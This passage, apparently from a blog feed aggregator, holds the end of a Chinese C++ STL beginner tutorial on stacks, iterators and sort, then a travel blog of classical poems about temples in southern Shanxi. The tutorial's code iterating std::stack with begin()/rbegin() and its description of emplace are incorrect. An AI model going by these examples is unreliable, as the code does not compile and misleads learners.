Code)中,你在敲下 \u003ccode\u003e.\u003c/code\u003e 后,会有一个完整的方法列表显示出来。就像这样:\u003cbr\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"代码补全\" data-src=\"https://upload.hawa130.com/2022/02/589811080.png#vwid=471\u0026vhei=199\" src=\"https://upload.hawa130.com/2022/02/589811080.png#vwid=471\u0026vhei=199\"\u003e\u003cfigcaption\u003e代码补全\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e如果这时,你想要把 \u003ccode\u003ex\u003c/code\u003e 这个变量入栈,就像这样写:\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003est.push(x);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果此时需要两个栈就简单了,直接定义一个新的栈即可。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003estack\u0026lt;char\u0026gt; st2;\nst2.push(y);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这两个 \u003ccode\u003epush\u003c/code\u003e 相互独立,互不干扰(这也是面向对象编程的好处)。所以,你想要几个容器就定义几个。\u003c/p\u003e\u003ch3 id=\"toc_296\"\u003e\u003ccode\u003estack\u003c/code\u003e 提供的方法列表\u003c/h3\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e方法\u003c/th\u003e\u003cth\u003e功能\u003c/th\u003e\u003cth\u003e返回\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003eempty()\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e判断栈是否为空\u003c/td\u003e\u003ctd\u003e\u003ccode\u003ebool\u003c/code\u003e(空为 \u003ccode\u003etrue\u003c/code\u003e,不空为 \u003ccode\u003efalse\u003c/code\u003e)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003esize()\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e返回栈的大小\u003c/td\u003e\u003ctd\u003e\u003ccode\u003esize_type\u003c/code\u003e(可以理解成 \u003ccode\u003eint\u003c/code\u003e 这种数值类型)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003etop()\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e返回栈顶元素\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evalue_type\u003c/code\u003e(就是当初定义时候,栈存储的值的类型)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003epush(value_type val)\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e将某个元素 \u003ccode\u003eval\u003c/code\u003e 入栈\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evoid\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003epop()\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e弹出栈顶元素\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evoid\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e还有两个 C++11 标准提供的方法 \u003ccode\u003eemplace\u003c/code\u003e 和 \u003ccode\u003eswap\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e前者可以传入一个数组,将这个数组的元素导入栈(等同于依次 \u003ccode\u003epush\u003c/code\u003e);后者在许多其他 STL 容器中也能见到,用于交换两个容器中的内容,比如使用 \u003ccode\u003est1.swap(st2)\u003c/code\u003e 就能把 \u003ccode\u003est1\u003c/code\u003e 和 \u003ccode\u003est2\u003c/code\u003e 里的内容相互交换。\u003c/p\u003e\u003cp\u003e与 \u003ccode\u003estack\u003c/code\u003e 相似的容器还有 \u003ccode\u003equeue\u003c/code\u003e(队列)、\u003ccode\u003edeque\u003c/code\u003e(双端队列),在此不再赘述。\u003c/p\u003e\u003cp\u003e更多更全的容器可以看看下面的\u003ca href=\"#toc_11\"\u003e参考手册推荐\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"toc_297\"\u003e迭代器的使用\u003c/h2\u003e\u003cp\u003e看完第一部分的内容,你应该不免有疑惑:要是我想知道栈里面的内容该怎么办?这时就该迭代器出场了。\u003c/p\u003e\u003cp\u003e「迭代器」听起来是一个高大上的名词,但其实它只是解决一个实际问题的趁手工具。你可以把它理解为一种特殊的指针,当然,即使不会指针也能用。\u003c/p\u003e\u003cp\u003e比如我想要输出 \u003ccode\u003est\u003c/code\u003e 这个栈里的所有元素,就像这样写:\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003efor (stack\u0026lt;char\u0026gt;::iterator it = st.begin(); it != st.end(); it++) {\n cout \u0026lt;\u0026lt; *it \u0026lt;\u0026lt; endl; // C++ 的标准输出流语法\n // 等同于\n printf('%c\\n', *it);\n}\u003c/code\u003e\u003c/pre\u003e\u003col\u003e\u003cli\u003e\u003ccode\u003estack\u0026lt;char\u0026gt;::iterator it\u003c/code\u003e 定义了一个名为 \u003ccode\u003eit\u003c/code\u003e 的迭代器。注意双冒号前面,正好就是我们定义 \u003ccode\u003est\u003c/code\u003e 时它的类型。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eit = st.begin()\u003c/code\u003e 给 \u003ccode\u003eit\u003c/code\u003e 赋了一个值,这个值是 \u003ccode\u003est\u003c/code\u003e 这个容器的起始位置(头迭代器)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003est.end()\u003c/code\u003e 表示 \u003ccode\u003est\u003c/code\u003e 最后一个元素的位置的下一个位置(尾迭代器),因此要用 \u003ccode\u003eit != st.end()\u003c/code\u003e 作为循环条件,当 \u003ccode\u003eit\u003c/code\u003e 指到 \u003ccode\u003est.end()\u003c/code\u003e 这个位置时,循环就该结束了。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eit++\u003c/code\u003e 在每一次循环后,\u003ccode\u003eit\u003c/code\u003e 会指向当前元素的下一个元素的位置。\u003ccode\u003e++\u003c/code\u003e 是它内部实现的方法,用于跳转到下一个元素的位置。它不等同于普通指针的 \u003ccode\u003e+=1\u003c/code\u003e,因为内存空间也许不是连续的。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e学过指针的同学应该知道,\u003ccode\u003e*it\u003c/code\u003e 是 \u003ccode\u003eit\u003c/code\u003e 指向元素的值。如果你不了解指针,记得输出时带上星号 \u003ccode\u003e*\u003c/code\u003e 就行。\u003c/p\u003e\u003cp\u003e如果我们入栈元素的依次是 \u003ccode\u003e1 2 3 4\u003c/code\u003e,那么上面这段代码的输出应该是:\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e4\n3\n2\n1\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e看到这里,你应该明白了如何去使用迭代器遍历容器内的元素。利用它不仅能输出容器里面的元素,还能对元素依次进行操作。要注意 \u003ccode\u003eiterator\u003c/code\u003e 这个单词的拼写哦。\u003c/p\u003e\u003cp\u003e不过如果你用的 C++11 或更高版本的标准,\u003ccode\u003estack\u0026lt;char\u0026gt;::iterator it = st.begin()\u003c/code\u003e 可以偷懒写成 \u003ccode\u003eauto it = st.begin()\u003c/code\u003e,这是因为 C++11 标准增加了 \u003ccode\u003eauto\u003c/code\u003e 关键字,能够自动推断赋值的类型。不过很多学校的 OJ 还是老标准,很可能不支持这个新特性。\u003c/p\u003e\u003ch3 id=\"toc_298\"\u003e反向迭代器\u003c/h3\u003e\u003cp\u003e一般我们用正向迭代器,不过 STL 也提供了反向迭代器。\u003c/p\u003e\u003cp\u003e顾名思义,就是用来反向遍历一个容器的。\u003c/p\u003e\u003cp\u003e看下面的代码你应该就懂了。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003efor (stack\u0026lt;char\u0026gt;::reverse_iterator it = st.rbegin(); it != st.rend(); it++) { // 做些什么 }\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"toc_299\"\u003e利用算法(Algorithm)偷懒\u003c/h2\u003e\u003cp\u003e\u003ccode\u003ealgorithm\u003c/code\u003e 这个头文件提供了许多实用的函数。只需要这样引入即可使用。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e#include \u0026lt;algorithm\u0026gt;\n\nusing namespace std;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e那么它有哪些奇妙的功能呢?它的功能实在是有点多,我们只挑几个常见的来看。\u003c/p\u003e\u003ch3 id=\"toc_300\"\u003e\u003ccode\u003esort\u003c/code\u003e 排序的使用\u003c/h3\u003e\u003cp\u003e手写排序无疑是痛苦的体验了。还好 STL 内置了一个排序用的函数,而且是它的效率极高的。\u003c/p\u003e\u003ch4 id=\"toc_301\"\u003e基本用法\u003c/h4\u003e\u003cp\u003e比如你有一个数组 \u003ccode\u003ea\u003c/code\u003e,里面存了 50 个不同的、乱序的 \u003ccode\u003eint\u003c/code\u003e 值,下标区间是 1~50。\u003c/p\u003e\u003cp\u003e想要把这 50 个值\u003cstrong\u003e从小到大\u003c/strong\u003e排列,只需要这样:\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003esort(a + 1, a + 51);\n// 等价于\nsort(\u0026amp;a[1], \u0026amp;a[51]);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e第一个参数是首元素的地址,第二个参数是末元素的\u003cstrong\u003e下一个元素\u003c/strong\u003e的地址(可以理解成左闭右开区间,是不是和 \u003ccode\u003eend()\u003c/code\u003e 设计很像)。\u003c/p\u003e\u003cp\u003e细心的你应该会发现,首末位置相减正好是要排序的序列长度,所以第二个参数还是很好想到的。所以,如果是 n 个元素排序(下标从 1~n)就应该写 \u003ccode\u003esort(a + 1, a + n + 1);\u003c/code\u003e 了。\u003c/p\u003e\u003ch4 id=\"toc_302\"\u003e自定义比较器\u003c/h4\u003e\u003cp\u003e如果你想要把这 50 个元素从大到小排序呢?这时候就需要自定义比较器了。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esort()\u003c/code\u003e 这个函数其实还可以传入第三个参数,这个参数便是自定义比较器。想要从大到小排序,只需要这样定义一个返回类型为 \u003ccode\u003ebool\u003c/code\u003e 的函数作为比较比较器。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003ebool compare(int x, int y)\n{\n return x \u0026gt; y;\n}\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e排序时需要这样写:\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003esort(a + 1, a + 51, compare);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这样运行过后,\u003ccode\u003ea\u003c/code\u003e 数组就是从大到小排序的了。\u003c/p\u003e\u003cp\u003e可以这么理解比较器函数:返回 \u003ccode\u003etrue\u003c/code\u003e,第一个参数排前面,返回 \u003ccode\u003efalse\u003c/code\u003e,第二个参数排前面。\u003c/p\u003e\u003cp\u003e如果你喜欢更简洁的写法,可以使用 C++11 标准新增的 Lambda 表达式(匿名函数)作为第三个参数,这样一行就写完了。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003esort(a + 1, a + 51, [](int x, int y) -\u0026gt; bool { return x \u0026gt; y; });\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e比较器函数同样很适用于结构体排序。比如像这样定义一个结构体。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003estruct Student\n{\n char* name;\n int chinese; // 语文成绩\n int math; // 数学成绩\n int english; // 英语成绩\n}\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e想要把 50 个学生按照语文成绩的顺序从高到低排序,语文成绩一样时按照数学成绩排序,最后按照英语。比较器应该像这样写:\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003ebool cmp(Student a, Student b)\n{\n if (a.chinese \u0026gt; b.chinese) {\n return true;\n } else if (a.chinese == b.chinese) { // 语文成绩一样\n if (a.math \u0026gt; b.math) { // 先比数学\n return true;\n } else if (a.math == b.math) { // 数学成绩一样\n return a.english \u0026gt; b.english; // 最后比较英语\n } else {\n return false;\n }\n }\n return false;\n}\u003c/code\u003e\u003c/pre\u003e\u003ch4 id=\"toc_303\"\u003e重载运算符的妙用\u003c/h4\u003e\u003cp\u003e重载 \u003ccode\u003e\u0026lt;\u003c/code\u003e 小于运算也是一个优雅的让 sort 函数安自己预期工作的好办法。重载运算符也是 C++ 的特性,简单来说就是自己去给某个结构体/类定义运算。\u003c/p\u003e\u003cp\u003e比如上面的 \u003ccode\u003eStudent\u003c/code\u003e 结构体,想要不通过 \u003ccode\u003esort()\u003c/code\u003e 的第三个参数来按照上述规则排序,可以这样写:\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003estruct Student\n{\n char* name;\n int chinese;\n int math;\n int english;\n\n bool operator \u0026lt; (const Student\u0026amp; other) const\n {\n if (chinese \u0026gt; other.chinese) {\n return true;\n } else if (chinese == other.chinese) {\n if (math \u0026gt; other.math) {\n return true;\n } else if (math == other.math) {\n return english \u0026gt; other.english;\n } else {\n return false;\n }\n }\n return false;\n }\n}\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e下面的主程序只需要这样写(假设有 50 个学生存到数组 \u003ccode\u003es\u003c/code\u003e,下标 0~49):\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003esort(s, s + 50);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这样执行过后,\u003ccode\u003es\u003c/code\u003e 就按照规则排序了。\u003c/p\u003e\u003ch3 id=\"toc_304\"\u003eAlgorithm 中的其他实用函数\u003c/h3\u003e\u003cp\u003e下面的 \u003ccode\u003ebegin\u003c/code\u003e 和 \u003ccode\u003eend\u003c/code\u003e 都是指针(迭代器)变量,值为一个地址。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e函数\u003c/th\u003e\u003cth\u003e功能\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003eswap(a, b)\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e顾名思义,交换变量 \u003ccode\u003ea\u003c/code\u003e 和 \u003ccode\u003eb\u003c/code\u003e 的值。\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003efill(begin, end, val)\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e将区间 \u003ccode\u003e[begin, end)\u003c/code\u003e 填充值 \u003ccode\u003eval\u003c/code\u003e,适合用来填充数组/容器。\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003ereverse(begin, end)\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e将区间 \u003ccode\u003e[begin, end)\u003c/code\u003e 进行反转,比如把字符串反转一下,判断是不是回文串。\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003emin(a, b)\u003c/code\u003e / \u003ccode\u003emax(a, b)\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e顾名思义,返回 \u003ccode\u003ea\u003c/code\u003e 和 \u003ccode\u003eb\u003c/code\u003e 中较小/较大的值。\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003emin_element(begin, end)\u003c/code\u003e / \u003ccode\u003emax_element(begin, end)\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e返回区间 \u003ccode\u003e[begin, end)\u003c/code\u003e 中最小/最大值的地址。\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003elower_bound(begin, end, val)\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e返回\u003cstrong\u003e有序\u003c/strong\u003e区间 \u003ccode\u003e[begin, end)\u003c/code\u003e,首个值为 \u003ccode\u003eval\u003c/code\u003e 的地址。\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003eupper_bound(begin, end, val)\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e返回\u003cstrong\u003e有序\u003c/strong\u003e区间 \u003ccode\u003e[begin, end)\u003c/code\u003e,最后一个值为 \u003ccode\u003eval\u003c/code\u003e 的地址的下一个元素的地址。\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003eunique(begin, end)\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e对区间 \u003ccode\u003e[begin, end)\u003c/code\u003e 进行去重。\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"toc_305\"\u003e参考手册\u003c/h2\u003e\u003cp\u003eSTL 容器参考:\u003ca href=\"https://www.cplusplus.com/reference/stl/\"\u003ecplusplus.com\u003c/a\u003e\u003cbr\u003eAlgorithm 功能参考:\u003ca href=\"https://www.cplusplus.com/reference/algorithm/\"\u003ecplusplus.com\u003c/a\u003e\u003cbr\u003e(虽然这个网站界面很古典,但是例子和解释相当全。对英语水平要求不高。)\u003c/p\u003e\u003cp\u003eC++ 头文件参考:\u003ca href=\"https://zh.cppreference.com/w/cpp/header\"\u003ecppreference\u003c/a\u003e\u003cbr\u003e(和上面的网站有相似的内容,但支持中文)\u003c/p\u003e\u003cp\u003e下篇:\u003ca href=\"/archives/763/\"\u003eSTL 容器指南\u003c/a\u003e。这篇文章介绍了各种 STL 容器的用法,适合有基础的人食用。介绍了以下容器。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e中英文名字\u003c/th\u003e\u003cth\u003e功能\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e栈(stack)\u003c/td\u003e\u003ctd\u003e先进后出\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e队列(queue)\u003c/td\u003e\u003ctd\u003e先进先出\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e双端队列(deque)\u003c/td\u003e\u003ctd\u003e兼有栈和队列特性\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e链表(list)\u003c/td\u003e\u003ctd\u003e双向链表\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e向量(vector)\u003c/td\u003e\u003ctd\u003e动态数组\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e字符串(string)\u003c/td\u003e\u003ctd\u003e比 \u003ccode\u003echar*\u003c/code\u003e 更好用的字符串\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e优先队列(priority_queue)\u003c/td\u003e\u003ctd\u003e堆,内部有序\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e映射(map)\u003c/td\u003e\u003ctd\u003e构造键到值的映射\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e集合(set)\u003c/td\u003e\u003ctd\u003e不允许重复值,内部有序\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n","url":"https://hawa130.com/archives/751/"}]},{"name":"孤筝の温暖小家","email":"Unknown","uri":"https://guzhengsvt.top/","description":"孤筝的互联网自留地。","article":[{"title":"晋南行五首","time":"2024-10-08T07:47:00Z","content":"序  国庆随《黑神话·悟空》游山西,历晋南晋城、临汾、运城三市,作诗词五首,简记之。晋南行·其一门掩残塑去,檐出金铎来。点染翠林乱,泼墨碧裙开。新枝攀朽木,老壮携幼孩。徽因应有泪,千年可留白?孤...\u003chr /\u003e\u003ch2\u003e序\u003c/h2\u003e\n\u003cp\u003e  国庆随《黑神话·悟空》游山西,历晋南晋城、临汾、运城三市,作诗词五首,简记之。\u003c/p\u003e\n\u003ch2\u003e晋南行·其一\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e门掩残塑去,檐出金铎来。\u003cbr/\u003e\n点染翠林乱,泼墨碧裙开。\u003cbr/\u003e\n新枝攀朽木,老壮携幼孩。\u003cbr/\u003e\n徽因应有泪,千年可留白?\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e孤筝\u003cbr/\u003e\n2024.10.2\u003cbr/\u003e\n晋城玉皇庙、府城关帝庙、青莲寺\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e  玉皇庙二十八星宿等殿均禁闪光灯,佛像隐于铁栅栏后,许些漆迹剥落,乃至缺首断足。令人遗憾。\u003cbr/\u003e\n  府城关帝庙中塑像几乎都是现代新作,手艺拙劣叫人倒胃口。倒是建筑值得一看。\u003cbr/\u003e\n  青莲寺山高路远,沿途风景极好,秋日山青水碧,少许红黄阔叶点缀其间,万里无云,是锦绣福地。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/4175125506.jpg\" alt=\"IMG_0808 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/2744194162.jpg\" alt=\"IMG_0836 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/4200527731.jpg\" alt=\"IMG_1026 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/126764360.jpg\" alt=\"IMG_0915 (1).JPG\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003ch2\u003e晋南行·其二\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e倦起青帝未点班,急腾晨雾破晓寒。\u003cbr/\u003e\n才渡人海窥佛面,又登林云访伽蓝。\u003cbr/\u003e\n九尊金身九菡萏,三进相门三净坛。\u003cbr/\u003e\n未及鳞霞收暮色,已是轻骑跃重山。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e孤筝\u003cbr/\u003e\n2024.10.3\u003cbr/\u003e\n晋城开化寺、铁佛寺、定林寺\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e  大早上赶公交到高平,先逛开化寺,再回铁佛寺。铁佛寺新开放不久,人满为患,又深居小村小院。排队一小时余,得窥佛面两分钟。幸而排队遇一家三口,父母开明,不拒二次元和游戏。唉,神仙父母无处寻也。(女儿双马尾好可爱wwww)\u003cbr/\u003e\n  定林寺莲花藻井亦是近期才重新开放,有幸遇上,确实好看。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/438599092.jpg\" alt=\"IMG_0998 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/1955933777.jpg\" alt=\"IMG_1044 (1).JPG\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003ch2\u003e晋南行·其三\u003c/h2\u003e\n\u003ch3\u003e水调歌头\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003e  宝相食香禄,石碑浸风尘。敢问座下丘列,诵经可达神?已削青丝断欲,又弃酒肉濯宇,笑面谨藏嗔。空识五蕴律,不解无明身。\u003cbr/\u003e\n  假金铙,修禅庙,弄愚生。诳语功德,却效如来释大乘。许利好收虔众,劝善难得信笃,八戒误沙门。司磬称富贵,伪佛度俗僧。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e孤筝\u003cbr/\u003e\n2024.10.4\u003cbr/\u003e\n临汾小西天\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e八戒:一戒杀生,二戒偷盗,三戒淫,四戒妄语,五戒饮酒,六戒着香华,七戒坐卧高广大床,八戒非时食。\u003cbr/\u003e\n黄眉:不杀生,仇恨永无止息;不偷盗,强弱如我何异;不邪淫,一切有情皆孽;不妄语,梦幻泡影空虚;不馋酒,忧怖涨落无常;不耽乐,芳华刹那而已;不贪眠,苦苦不得解脱;不纵欲,诸行了无生趣。\u003c/p\u003e\n\u003cp\u003e  小西天下寺没啥看头,都是些求财求子的善男信女烧香拜佛。那尼姑(?存疑)坐一旁敲磬看跪拜,口中不停说包佑日入一个亿一千万什么的,讽刺至极。\u003cbr/\u003e\n  上寺大雄宝殿内悬塑,规格规模具是惊人。可惜人太多了没多少时间细看。我去晚了没拿到山西官方通关信物明信片,略有遗憾。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/837638753.jpg\" alt=\"IMG_1144 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/377169443.jpg\" alt=\"IMG_1929 (1).JPG\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003ch2\u003e晋南行·其四\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e古刹踞平阳,三震隐佛光。\u003cbr/\u003e\n巍巍琉璃塔,缈缈罗汉堂。\u003cbr/\u003e\n求经凭功禄,祈雨赖人王。\u003cbr/\u003e\n一藏传东土,贞观起盛唐。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e孤筝\u003cbr/\u003e\n2024.10.6\u003cbr/\u003e\n临汾广胜寺\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e  洪洞县广胜寺,下寺有雨神庙,左右满壁画,保存不甚完好。殿内光线阴暗,看不真切。左右偏房有官方扫描件,色彩鲜明,神采俱备,可称佳品。\u003cbr/\u003e\n  上寺重看飞虹塔,宝塔遍身琉璃。仅开放一层,内里无甚可观之处。\u003cbr/\u003e\n  后院天中天殿有三尊大佛,高十余尺,身形秀丽,是为一绝。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/2152415040.jpg\" alt=\"IMG_1956 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/270551755.jpg\" alt=\"IMG_1985 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/4038570737.jpg\" alt=\"IMG_2006 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/193997803.jpg\" alt=\"IMG_2037 (2).JPG\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003ch2\u003e晋南行·其五\u003c/h2\u003e\n\u003ch3\u003e鹳雀楼幸遇未陶然有寄\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003e生来不是酒中仙,落墨皴眉把字研。\u003cbr/\u003e\n鹳雀楼上斗之涣,太行山下思教员。\u003cbr/\u003e\n君作人间逍遥客,我困象塔长少年。\u003cbr/\u003e\n或历天地无存所,且将诗债换酒钱。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e孤筝\u003cbr/\u003e\n2024.10.6\u003cbr/\u003e\n运城永乐宫、广仁王庙、鹳雀楼、关帝庙\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e  运城跟团游,时间紧地点多,都没来得及细看。至鹳雀楼时,观一小摊书“卖原创诗集”大字。逛毕新楼,回看诗集,久震余惊。未陶然受大理女诗人影响重走文学路,我也曾写过不少诗,多是闲来拙笔,倒也未想过以此为生计。\u003cbr/\u003e\n  高中将作诗、摘诗的底稿送出,分手后,再也没怎么写过诗了。一是沉迷游戏现实,没读什么书,既无诗才也无勤心,落笔干涩终不满意。二是心境迷蒙,顾当世如雾里看花,既无透劲亦无清明,活得浑浑噩噩。三是久居象塔经历平平,无喜无悲,难有诗情。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/3184801327.jpg\" alt=\"IMG_2131 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/1585398490.jpg\" alt=\"IMG_2134 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/3750612929.jpg\" alt=\"IMG_2158 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/3048377807.jpg\" alt=\"IMG_2214 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/1157009.jpg\" alt=\"IMG_2233 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/343590413.jpg\" alt=\"IMG_2234 (1).JPG\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/915481746.jpg\" alt=\"IMG_2235 (1).JPG\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003ch2\u003e后记\u003c/h2\u003e\n\u003cp\u003e晋南三城各有特色。\u003cbr/\u003e\n晋城繁华,公交发达,有专线通往各个景点。初到市区,一路灯火通明。\u003cbr/\u003e\n临汾奇异,连客运站周围都黑的很,景点离城区远且没有公交专线,包车花费较大;公共厕所有特色,我骑青桔电动车打卡二十余,无一相同。\u003cbr/\u003e\n运城热闹,主路也好小路也罢,商铺小店小摊挤满了,听说还有南北两集市(运城包子好吃,小馆实诚)。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/10/3704126306.jpg\" alt=\"IMG_2091.JPG\" 